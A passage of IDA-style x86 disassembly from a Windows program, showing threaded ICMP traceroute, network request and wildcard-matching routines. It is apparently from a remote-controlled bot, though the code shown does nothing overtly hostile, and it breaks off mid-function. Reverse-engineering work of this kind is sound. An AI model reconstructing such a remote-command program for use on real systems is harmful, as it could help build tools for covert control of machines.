sub_409AD5+104j push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax locret_409BED: ; CODE XREF: sub_409AD5+65j leave retn 4 sub_409AD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BF1 proc near ; CODE XREF: sub_40A9CF+AFBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_409C0B jmp short locret_409C34 ; --------------------------------------------------------------------------- loc_409C0B: ; CODE XREF: sub_409BF1+16j push [ebp+arg_0] push [ebp+var_4] call sub_405F67 pop ecx pop ecx push [ebp+arg_0] push offset sub_409AD5 call sub_409479 pop ecx pop ecx test eax, eax jnz short locret_409C34 push [ebp+arg_0] call sub_416B4C ; free pop ecx locret_409C34: ; CODE XREF: sub_409BF1+18j ; sub_409BF1+38j leave retn sub_409BF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C36 proc near ; CODE XREF: sub_405FA3+9p ; sub_40938F+1Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push 18h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch cmp dword_41DE40, 0 jz short loc_409C61 push 80000400h push [ebp+arg_0] call dword_41DE40 ; InitializeCriticalSectionAndSpinCount jmp short loc_409C6A ; --------------------------------------------------------------------------- loc_409C61: ; CODE XREF: sub_409C36+19j push [ebp+arg_0] call dword_4170E4 ; InitializeCriticalSection loc_409C6A: ; CODE XREF: sub_409C36+29j pop ebp retn sub_409C36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C6C proc near ; CODE XREF: sub_406041+10p ; sub_4095A4+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170EC ; RtlEnterCriticalSection pop ebp retn sub_409C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C7A proc near ; CODE XREF: sub_406041+26p ; sub_406041+307p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_41710C ; RtlLeaveCriticalSection pop ebp retn sub_409C7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C88 proc near ; CODE XREF: sub_40332B+10p ; sub_41113B+7EDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xadd [esi], eax pop edi pop esi pop ebx pop ebp retn sub_409C88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C9D proc near ; CODE XREF: sub_4042FB+17p ; sub_4042FB+25p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xchg eax, [esi] pop edi pop esi pop ebx pop ebp retn sub_409C9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CB1 proc near ; CODE XREF: sub_409DD0+202p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 38h call dword_41E2FC mov [ebp+var_1C], eax cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_409CD8 push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_409DCE ; --------------------------------------------------------------------------- loc_409CD8: ; CODE XREF: sub_409CB1+13j push 8 push 0 lea eax, [ebp+var_18] push eax call sub_416B6A ; memset add esp, 0Ch mov al, [ebp+arg_8] mov [ebp+var_18], al movzx eax, [ebp+arg_10] push eax call sub_416DD2 pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_C], eax movzx eax, [ebp+arg_10] push eax push 45h push [ebp+var_C] call sub_416B6A ; memset add esp, 0Ch movzx eax, [ebp+arg_10] cmp eax, 8 jge short loc_409D26 mov [ebp+var_38], 8 jmp short loc_409D2D ; --------------------------------------------------------------------------- loc_409D26: ; CODE XREF: sub_409CB1+6Aj movzx eax, [ebp+arg_10] mov [ebp+var_38], eax loc_409D2D: ; CODE XREF: sub_409CB1+73j mov eax, [ebp+var_38] add eax, 1Ch mov [ebp+var_24], eax push [ebp+var_24] call sub_416DD2 pop ecx mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_4], eax push [ebp+arg_C] push [ebp+var_24] push [ebp+var_10] lea eax, [ebp+var_18] push eax movzx ax, [ebp+arg_10] push eax push [ebp+var_C] push [ebp+arg_0] push [ebp+var_1C] call dword_41E308 mov [ebp+var_20], eax mov [ebp+var_8], 1 cmp [ebp+var_20], 1 jz short loc_409D8D call dword_417064 ; RtlGetLastWin32Error mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_409DA4 ; --------------------------------------------------------------------------- loc_409D8D: ; CODE XREF: sub_409CB1+CDj mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [eax+4], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx+8] mov [eax+8], ecx loc_409DA4: ; CODE XREF: sub_409CB1+DAj push [ebp+var_1C] call dword_41E304 mov eax, [ebp+var_C] mov [ebp+var_30], eax push [ebp+var_30] call sub_416DCC pop ecx mov eax, [ebp+var_10] mov [ebp+var_34], eax push [ebp+var_34] call sub_416DCC pop ecx mov eax, [ebp+var_8] locret_409DCE: ; CODE XREF: sub_409CB1+22j leave retn sub_409CB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DD0 proc near ; DATA XREF: sub_40A1A7+FDo var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = byte ptr -2B0h var_10D = byte ptr -10Dh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2F0h push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, byte_41E310 test eax, eax jnz short loc_409E6D push offset aIcmp_dll ; "ICMP.DLL" call dword_417054 ; LoadLibraryA mov dword_41E300, eax cmp dword_41E300, 0 jnz short loc_409E24 xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E24: ; CODE XREF: sub_409DD0+4Bj push offset aIcmpcreatefile ; "IcmpCreateFile" push dword_41E300 call dword_417058 ; GetProcAddress mov dword_41E2FC, eax push offset aIcmpsendecho ; "IcmpSendEcho" push dword_41E300 call dword_417058 ; GetProcAddress mov dword_41E308, eax push offset aIcmpclosehandl ; "IcmpCloseHandle" push dword_41E300 call dword_417058 ; GetProcAddress mov dword_41E304, eax mov byte_41E310, 1 loc_409E6D: ; CODE XREF: sub_409DD0+32j cmp dword_41E2FC, 0 jnz short loc_409E7D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E7D: ; CODE XREF: sub_409DD0+A4j cmp dword_41E308, 0 jnz short loc_409E8D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E8D: ; CODE XREF: sub_409DD0+B4j cmp dword_41E304, 0 jnz short loc_409E9D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E9D: ; CODE XREF: sub_409DD0+C4j lea eax, [ebp+var_10D] mov [ebp+var_2B8], eax push [ebp+var_2B8] call dword_417244 ; inet_addr mov [ebp+var_2BC], eax cmp [ebp+var_2BC], 0FFFFFFFFh jnz short loc_409F18 push [ebp+var_2B8] call dword_41723C ; gethostbyname mov [ebp+var_2C0], eax cmp [ebp+var_2C0], 0 jz short loc_409F06 mov eax, [ebp+var_2C0] movsx eax, word ptr [eax+0Ah] push eax mov eax, [ebp+var_2C0] mov eax, [eax+0Ch] push dword ptr [eax] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_409F18 ; --------------------------------------------------------------------------- loc_409F06: ; CODE XREF: sub_409DD0+10Dj push offset aCouldNotResolv ; "Could not resolve name" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409F18: ; CODE XREF: sub_409DD0+F2j ; sub_409DD0+134j and [ebp+var_4], 0 mov byte ptr [ebp+var_2B4], 1 jmp short loc_409F33 ; --------------------------------------------------------------------------- loc_409F25: ; CODE XREF: sub_409DD0:loc_40A19Cj mov al, byte ptr [ebp+var_2B4] add al, 1 mov byte ptr [ebp+var_2B4], al loc_409F33: ; CODE XREF: sub_409DD0+153j movzx eax, byte ptr [ebp+var_2B4] movzx ecx, [ebp+var_D] cmp eax, ecx jg loc_40A1A1 cmp [ebp+var_4], 0 jnz loc_40A1A1 and [ebp+var_2EC], 0 or [ebp+var_2E4], 0FFFFFFFFh and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 and [ebp+var_2D0], 0 and [ebp+var_2C8], 0 and [ebp+var_2CC], 0 and [ebp+var_2D8], 0 and [ebp+var_2D4], 0 jmp short loc_409F9E ; --------------------------------------------------------------------------- loc_409F91: ; CODE XREF: sub_409DD0:loc_40A04Ej mov eax, [ebp+var_2D4] inc eax mov [ebp+var_2D4], eax loc_409F9E: ; CODE XREF: sub_409DD0+1BFj mov eax, [ebp+var_2D4] cmp eax, [ebp+var_8] jnb loc_40A053 cmp [ebp+var_2D8], 0 jnz loc_40A053 push 20h push [ebp+var_C] push [ebp+var_2B4] lea eax, [ebp+var_2CC] push eax push [ebp+var_2BC] call sub_409CB1 add esp, 14h test eax, eax jz short loc_40A047 cmp [ebp+var_2CC], 0 jnz short loc_40A02F mov eax, [ebp+var_2D0] add eax, [ebp+var_2C4] mov [ebp+var_2D0], eax mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2E4] jnb short loc_40A013 mov eax, [ebp+var_2C4] mov [ebp+var_2E4], eax loc_40A013: ; CODE XREF: sub_409DD0+235j mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2DC] jbe short loc_40A02D mov eax, [ebp+var_2C4] mov [ebp+var_2DC], eax loc_40A02D: ; CODE XREF: sub_409DD0+24Fj jmp short loc_40A045 ; --------------------------------------------------------------------------- loc_40A02F: ; CODE XREF: sub_409DD0+215j mov eax, [ebp+var_2CC] mov [ebp+var_2EC], eax mov [ebp+var_2D8], 1 loc_40A045: ; CODE XREF: sub_409DD0:loc_40A02Dj jmp short loc_40A04E ; --------------------------------------------------------------------------- loc_40A047: ; CODE XREF: sub_409DD0+20Cj xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_40A04E: ; CODE XREF: sub_409DD0:loc_40A045j jmp loc_409F91 ; --------------------------------------------------------------------------- loc_40A053: ; CODE XREF: sub_409DD0+1D7j ; sub_409DD0+1E4j mov eax, [ebp+var_2C8] mov [ebp+var_2E8], eax cmp [ebp+var_2EC], 0 jnz short loc_40A07B mov eax, [ebp+var_2D0] xor edx, edx div [ebp+var_8] mov [ebp+var_2E0], eax jmp short loc_40A090 ; --------------------------------------------------------------------------- loc_40A07B: ; CODE XREF: sub_409DD0+296j and [ebp+var_2E4], 0 and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 loc_40A090: ; CODE XREF: sub_409DD0+2A9j cmp [ebp+var_2EC], 0 jnz loc_40A165 push 2 push 4 lea eax, [ebp+var_2E8] push eax call dword_417220 ; gethostbyaddr mov [ebp+var_2F0], eax cmp [ebp+var_2F0], 0 jz short loc_40A115 movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax mov eax, [ebp+var_2F0] push dword ptr [eax] push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419594 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 2Ch jmp short loc_40A163 ; --------------------------------------------------------------------------- loc_40A115: ; CODE XREF: sub_409DD0+2EBj movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419568 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 28h loc_40A163: ; CODE XREF: sub_409DD0+343j jmp short loc_40A187 ; --------------------------------------------------------------------------- loc_40A165: ; CODE XREF: sub_409DD0+2C7j push [ebp+var_2EC] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419540 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 10h loc_40A187: ; CODE XREF: sub_409DD0:loc_40A163j mov eax, [ebp+var_2BC] cmp eax, [ebp+var_2E8] jnz short loc_40A19C mov [ebp+var_4], 1 loc_40A19C: ; CODE XREF: sub_409DD0+3C3j jmp loc_409F25 ; --------------------------------------------------------------------------- loc_40A1A1: ; CODE XREF: sub_409DD0+170j ; sub_409DD0+17Aj xor eax, eax locret_40A1A3: ; CODE XREF: sub_409DD0+4Fj ; sub_409DD0+A8j ... leave retn 4 sub_409DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1A7 proc near ; CODE XREF: sub_40A9CF+FAEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h cmp [ebp+arg_4], 0 jnz short loc_40A1C7 push offset unk_419618 push [ebp+arg_0] call sub_40D53F pop ecx pop ecx jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1C7: ; CODE XREF: sub_40A1A7+Aj push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A1E0 jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1E0: ; CODE XREF: sub_40A1A7+32j push 1A3h push [ebp+arg_0] push [ebp+var_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A3h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx cmp eax, 0FFh jg short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_40A231 ; --------------------------------------------------------------------------- loc_40A22A: ; CODE XREF: sub_40A1A7+63j ; sub_40A1A7+73j mov [ebp+var_10], 1Eh loc_40A231: ; CODE XREF: sub_40A1A7+81j mov eax, [ebp+var_4] mov cl, byte ptr [ebp+var_10] mov [eax+2A3h], cl cmp [ebp+arg_C], 0 jz short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx cmp eax, 927C0h jg short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax jmp short loc_40A268 ; --------------------------------------------------------------------------- loc_40A261: ; CODE XREF: sub_40A1A7+9Aj ; sub_40A1A7+AAj mov [ebp+var_14], 7530h loc_40A268: ; CODE XREF: sub_40A1A7+B8j mov eax, [ebp+var_4] mov ecx, [ebp+var_14] mov [eax+2A4h], ecx cmp [ebp+arg_10], 0 jz short loc_40A288 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_18], eax jmp short loc_40A28F ; --------------------------------------------------------------------------- loc_40A288: ; CODE XREF: sub_40A1A7+D1j mov [ebp+var_18], 3 loc_40A28F: ; CODE XREF: sub_40A1A7+DFj mov eax, [ebp+var_4] mov ecx, [ebp+var_18] mov [eax+2A8h], ecx lea eax, [ebp+var_C] push eax push 0 push [ebp+var_4] push offset sub_409DD0 push 0 push 0 call dword_4170B4 ; CreateThread mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A2C7 push [ebp+var_4] call sub_416B4C ; free pop ecx jmp short locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A2C7: ; CODE XREF: sub_40A1A7+113j push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40A2D0: ; CODE XREF: sub_40A1A7+1Bj ; sub_40A1A7+34j ... leave retn sub_40A1A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A2D2 proc near ; CODE XREF: sub_40A4A4+30p var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = byte ptr -1114h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 111Ch call sub_416BC0 mov eax, [ebp+arg_0] add eax, 4 push eax mov eax, [ebp+arg_0] add eax, 104h push eax mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] push offset dword_41966C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F add esp, 14h push 2710h push 0 push offset dword_419668 mov eax, [ebp+arg_0] add eax, 104h push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A339 xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A339: ; CODE XREF: sub_40A2D2+5Ej mov eax, [ebp+arg_0] add eax, 4 push eax push offset dword_419660 lea eax, [ebp+var_114] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_114] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_114] push eax push [ebp+var_8] call sub_4053BF add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A38F push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A38F: ; CODE XREF: sub_40A2D2+ABj push 1000h lea eax, [ebp+var_1114] push eax push [ebp+var_8] call sub_4053DC add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_40A3B5 cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_40A3C5 loc_40A3B5: ; CODE XREF: sub_40A2D2+DBj push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A3C5: ; CODE XREF: sub_40A2D2+E1j lea eax, [ebp+var_1114] mov [ebp+var_10], eax loc_40A3CE: ; CODE XREF: sub_40A2D2:loc_40A492j mov eax, [ebp+var_10] mov [ebp+var_111C], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A3E9 jmp loc_40A497 ; --------------------------------------------------------------------------- loc_40A3E9: ; CODE XREF: sub_40A2D2+110j push [ebp+var_111C] call sub_407B5E pop ecx mov [ebp+var_10], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jz short loc_40A41B push offset dword_418F4C push [ebp+var_111C] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40A442 loc_40A41B: ; CODE XREF: sub_40A2D2+131j mov eax, [ebp+var_111C] lea ecx, [ebp+var_1114] cmp eax, ecx jz short loc_40A440 push offset dword_41965C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A440: ; CODE XREF: sub_40A2D2+157j jmp short loc_40A458 ; --------------------------------------------------------------------------- loc_40A442: ; CODE XREF: sub_40A2D2+147j push [ebp+var_111C] mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A458: ; CODE XREF: sub_40A2D2:loc_40A440j push 3E8h call dword_41709C ; Sleep push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+4] mov [ebp+var_1118], eax push offset dword_41E2D8 call sub_409C7A pop ecx cmp [ebp+var_1118], 0 jz short loc_40A492 jmp short loc_40A497 ; --------------------------------------------------------------------------- loc_40A492: ; CODE XREF: sub_40A2D2+1BCj jmp loc_40A3CE ; --------------------------------------------------------------------------- loc_40A497: ; CODE XREF: sub_40A2D2+112j ; sub_40A2D2+1BEj push [ebp+var_8] call sub_40538D pop ecx mov al, 1 locret_40A4A2: ; CODE XREF: sub_40A2D2+62j ; sub_40A2D2+B8j ... leave retn sub_40A2D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4A4 proc near ; DATA XREF: sub_40A50E+A1o var_3A8 = dword ptr -3A8h var_2A4 = byte ptr -2A4h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3A8h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_3A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_3A8] push eax call sub_40A2D2 pop ecx movzx eax, al test eax, eax jnz short loc_40A4FC lea eax, [ebp+var_2A4] push eax push offset dword_419698 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40A4FC: ; CODE XREF: sub_40A4A4+3Bj push [ebp+var_3A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40A4A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A50E proc near ; CODE XREF: sub_40A9CF+FE3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_40A51D jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A51D: ; CODE XREF: sub_40A50E+8j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A536 jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A536: ; CODE XREF: sub_40A50E+21j push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A562 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40A586 ; --------------------------------------------------------------------------- loc_40A562: ; CODE XREF: sub_40A50E+3Dj push offset dword_4196D4 mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_4] add eax, 104h push eax call sub_4105FB pop ecx loc_40A586: ; CODE XREF: sub_40A50E+52j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4196B4 push 0 push [ebp+var_4] push offset sub_40A4A4 call sub_4095A4 add esp, 18h locret_40A5BC: ; CODE XREF: sub_40A50E+Aj ; sub_40A50E+23j leave retn sub_40A50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5BE proc near ; CODE XREF: sub_40A5BE+32p ; sub_40A5BE+70p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A603 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A5DD mov al, 1 jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5DD: ; CODE XREF: sub_40A5BE+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A5FC mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5FC: ; CODE XREF: sub_40A5BE+28j xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A603: ; CODE XREF: sub_40A5BE+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A614 xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A614: ; CODE XREF: sub_40A5BE+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A63A mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A63A: ; CODE XREF: sub_40A5BE+64j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A65B mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A65B: ; CODE XREF: sub_40A5BE+85j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69E mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A67C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A687 loc_40A67C: ; CODE XREF: sub_40A5BE+B1j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69A loc_40A687: ; CODE XREF: sub_40A5BE+BCj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69A: ; CODE XREF: sub_40A5BE+C7j xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69E: ; CODE XREF: sub_40A5BE+A6j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A6E7 and [ebp+var_4], 0 jmp short loc_40A6B6 ; --------------------------------------------------------------------------- loc_40A6AF: ; CODE XREF: sub_40A5BE:loc_40A6E5j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A6B6: ; CODE XREF: sub_40A5BE+EFj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A6D4 mov al, 1 jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6D4: ; CODE XREF: sub_40A5BE+110j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A6E5 xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6E5: ; CODE XREF: sub_40A5BE+121j jmp short loc_40A6AF ; --------------------------------------------------------------------------- loc_40A6E7: ; CODE XREF: sub_40A5BE+E9j xor al, al locret_40A6E9: ; CODE XREF: sub_40A5BE+1Aj ; sub_40A5BE+39j ... leave retn sub_40A5BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6EB proc near ; CODE XREF: sub_4097A7+10Ap ; sub_4098F3+155p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A730 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A70A mov al, 1 jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A70A: ; CODE XREF: sub_40A6EB+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A729 mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A729: ; CODE XREF: sub_40A6EB+28j xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A730: ; CODE XREF: sub_40A6EB+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A741 xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A741: ; CODE XREF: sub_40A6EB+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A767 mov eax, [ebp+arg_4] 